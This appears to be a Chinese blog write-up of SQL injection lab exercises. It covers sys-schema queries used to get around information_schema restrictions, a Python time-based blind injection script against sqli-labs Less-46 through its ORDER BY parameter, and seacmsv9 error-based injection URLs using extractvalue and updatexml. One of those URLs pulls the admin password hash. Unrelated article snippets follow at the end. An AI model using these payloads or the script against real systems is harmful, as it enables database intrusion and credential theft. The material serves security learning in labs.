绕过information_schema与order by注入以及seacsmv9注入

news/2025/2/26 7:04:57

一:information_schema绕过

1,、sys数据库包含了许多视图,这些视图整合了来自information_schema和performance_schema的数据,攻击者可以利用这些视图来获取数据库结构信息。
-- 获取所有数据库名
SELECT DISTINCT table_schema FROM sys.schema_table_statistics;

-- 获取指定数据库中的所有表名
SELECT table_name FROM sys.schema_table_statistics WHERE table_schema = 'your_database_name';

-- 获取指定表的所有列名
SELECT column_name 
FROM sys.digest_columns 
WHERE schema_name = 'your_database_name' AND table_name = 'your_table_name';
2、攻击者可以通过sys数据库中的一些视图来获取用户和权限相关的信息。
-- 获取用户和权限信息
SELECT user, host, authentication_string 
FROM sys.user_summary 
WHERE user != 'root';
3、攻击者可以将对sys数据库视图的查询与正常业务查询进行联合,以绕过一些简单的安全检测机制。
SELECT id, username FROM users 
UNION 
SELECT table_schema, table_name FROM sys.schema_table_statistics;
4、攻击者可以利用sys数据库视图的查询结果进行盲注攻击,逐步获取敏感信息。
-- 假设存在一个用户登录验证的漏洞
SELECT * FROM users WHERE username = 'admin' AND password = '' 
AND (SELECT COUNT(*) FROM sys.schema_table_statistics WHERE table_schema = 'your_database_name') > 0;
5、sys 数据库中的某些视图可以提供关于索引的详细信息,攻击者可以利用这些视图绕过对 information_schema.statistics 的直接访问限制来获取索引信息。
-- 获取指定数据库中表的索引信息
SELECT index_name, table_name, column_name
FROM sys.schema_index_statistics
WHERE table_schema = 'your_database_name';
6、攻击者可以通过分析 sys 数据库中一些反映数据库活动和性能的视图,间接推测出数据库的数据字典信息,即使不能直接获取到完整的表结构和列信息,也能得到一些有价值的线索。
-- 通过查看表的读写统计信息推测表的重要性和大致结构
SELECT table_schema, table_name, rows_fetched, rows_inserted, rows_updated, rows_deleted
FROM sys.schema_table_statistics
WHERE table_schema = 'your_database_name';

二:order by的注入

import requests
import time

def inject_username(url):
    username = ''
    for i in range(1, 50):  # 假设用户名最长为 50 个字符
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            # 构造时间盲注 payload
            payload = f"if((ascii(substr((SELECT username FROM users LIMIT 0,1),%d,1))>%d),sleep(1),1)" % (i, mid)
            # 传参
            params = {"sort": payload}
            start_time = time.time()
            # 异常处理
            try:
                r = requests.get(url, params=params, timeout=20)
            except requests.Timeout:
                print("Request timed out.")
                continue
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        username += chr(mid)
    print(f"最终获取到的用户名: {username}")

if __name__ == "__main__":
    url = 'http://127.0.0.1/sqli-labs-php7/Less-46/index.php'
    inject_username(url)

确定注入点:代码中通过 sort 参数进行注入,将构造的时间盲注 payload 传递给该参数。
时间盲注原理:利用 if 函数和 sleep 函数,根据数据库响应时间来判断条件是否成立,从而逐字符获取所需信息。

三:seacsmv9报错注入

seacmsv9漏洞文件:./comment/api/index.php

漏洞参数:$rlist

漏洞的源代码:

 session_start();
 require_once("../../include/common.php");
 $id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
 $page = (isset($page) && is_numeric($page)) ? $page : 1;
 $type = (isset($type) && is_numeric($type)) ? $type : 1;
 $pCount = 0;
 $jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
 //缓存第一页的评论
 if($page<2)
 {
         if(file_exists($jsoncachefile))
         {
                 $json=LoadFile($jsoncachefile);
                 die($json);
         }
 }
 $h = ReadData($id,$page);
 $rlist = array();
 if($page<2)
 {
         createTextFile($h,$jsoncachefile);
 }
 die($h);        
  
 function ReadData($id,$page)
 {
         global $type,$pCount,$rlist;
         $ret = array("","",$page,0,10,$type,$id);
         if($id>0)
         {
                 $ret[0] = Readmlist($id,$page,$ret[4]);
                 $ret[3] = $pCount;
                 $x = implode(',',$rlist);
                 if(!empty($x))
                 {
                 $ret[1] = Readrlist($x,1,10000);
                 }
         }
         $readData = FormatJson($ret);
         return $readData;
 }
  
 function Readmlist($id,$page,$size)
 {
         global $dsql,$type,$pCount,$rlist;
         $ml=array();
         if($id>0)
         {
                 $sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
                 $rs = $dsql ->GetOne($sqlCount);
                 $pCount = ceil($rs['dd']/$size);
                 $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
                 $dsql->setQuery($sql);
                 $dsql->Execute('commentmlist');
                 while($row=$dsql->GetArray('commentmlist'))
                 {
                         $row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
                         $ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
                 }
         }
         $readmlist=join($ml,",");
         return $readmlist;
 }
  
 function Readrlist($ids,$page,$size)
 {
         global $dsql,$type;
         $rl=array();
         $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
         $dsql->setQuery($sql);
         $dsql->Execute('commentrlist');
         while($row=$dsql->GetArray('commentrlist'))
         {
                 $rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
         }
         $readrlist=join($rl,",");
         return $readrlist;
 }

注入风险:($id、$page 和 $type 这些变量被直接用于 SQL 查询语句中,并且代码仅对这些变量进行了简单的 is_numeric 检查,没有对输入进行严格的过滤和转义处理,这就可能导致 SQL 注入漏洞。)

$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";


$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page - 1) * $size.",$size ";


$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";

报错数据库名:

http://seacmsv9:8015/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`,extractvalue(1,concat_ws(0x7e,0x7e,database())),@`'`

报错表名:

http://seacmsv9:8015/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0atable_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=0x736561636d73%20limit%200,1))),%20@`%27`

因是表sea_comment为空,无返回值
在表sea_comment插入数据,再次注入查看

http://seacmsv9:8015//comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml
(1,concat_ws(0x20,0x5c,(select password from%23%0asea_admin limit 0,1)),1), @`'`

进入MD5解密后得到


http://www.niftyadmin.cn/n/5868272.html

相关文章

大数据与Hadoop综合解析

一、大数据概述 在数字化转型的浪潮中&#xff0c;大数据已成为不可或缺的资源。它不仅改变了企业的运营方式&#xff0c;还重塑了整个行业格局。大数据主要应对海量数据的采集、存储与分析计算挑战&#xff0c;帮助企业从数据中提取价值&#xff0c;驱动决策和创新。 数据单位…

Oracle 数据库基础入门(一):搭建数据管理基石

在当今数字化时代&#xff0c;数据库作为数据管理的核心工具&#xff0c;对于各类应用系统的开发至关重要。尤其是在 Java 全栈开发领域&#xff0c;掌握一款强大的数据库技术是必备技能。Oracle 数据库以其卓越的性能、高度的可靠性和丰富的功能&#xff0c;在企业级应用中广泛…

DeepSeek开源周 Day02:从DeepEP开源趋势重新审视大模型Infra

DeepEP 今天DeepSeek开源周第二天&#xff0c;开放了DeepEP仓库&#xff0c;属实看了下源码&#xff0c;和昨天FlashMLA一样&#xff0c;C权重&#xff08;包括CUDA&#xff09;还是占据了绝对部分&#xff0c;作为调包侠的我&#xff0c;看到之后望而却步&#xff0c;想看原理…

欧拉回路与哈密尔顿回路: Fleury算法与Hierholzer 算法(C++)

图论中的回路是指一个路径, 它从某个顶点开始, 经过所有边恰好一次, 并回到起始顶点. 定义 欧拉回路: 从一个顶点出发, 经过每条边恰好一次, 并且最终回到起始顶点. 哈密尔顿回路: 从一个顶点出发, 经过每个顶点恰好一次, 并且最终回到起始顶点. 欧拉路径: 从一个顶点出发, …

[实现Rpc] 测试 | rpc部分功能联调 | debug | 理解bind

目录 服务端 客户端 Debug 运行 总结 服务端 调用 on Request 对请求做出回应 on 对...做处理 #include "../../common/net.hpp" #include "../../common/message.hpp" #include "../../common/dispatcher.hpp" #include "../../se…

Node.js 内置模块简介(带示例)

目录 1. fs&#xff08;文件系统&#xff09;模块 2. http 模块 3. path 模块 4. os 模块 5. events 模块 6. crypto 模块 1. fs&#xff08;文件系统&#xff09;模块 fs 模块提供了与文件系统进行交互的功能&#xff0c;包括文件的读写、删除、重命名等操作。它有同步…

安装VM和Centos

安装VM 一、打开虚拟机 二、选择典型 三、选择光盘 四、指定虚拟机位置 五、设置磁盘大小并拆分为多个文件 六、完成 安装Centos 一、上述过程完成后我们直接打开虚拟机 二、语言选择中文 三、默认安装位置并点击完成 四、点击开始安装 五、点击设置密码 设置完密码后点击完成…

Qt基础之四十九:Qt属性系统(Property System)

Qt提供了一个复杂的属性系统,类似于一些编译器供应商提供的属性系统。然而,作为一个独立于编译器和平台的库,Qt不依赖于__property或[property]等非标准编译器功能。Qt解决方案适用于Qt支持的每个平台上的任何标准C++编译器。它基于元对象系统(Meta-Object System),该系统…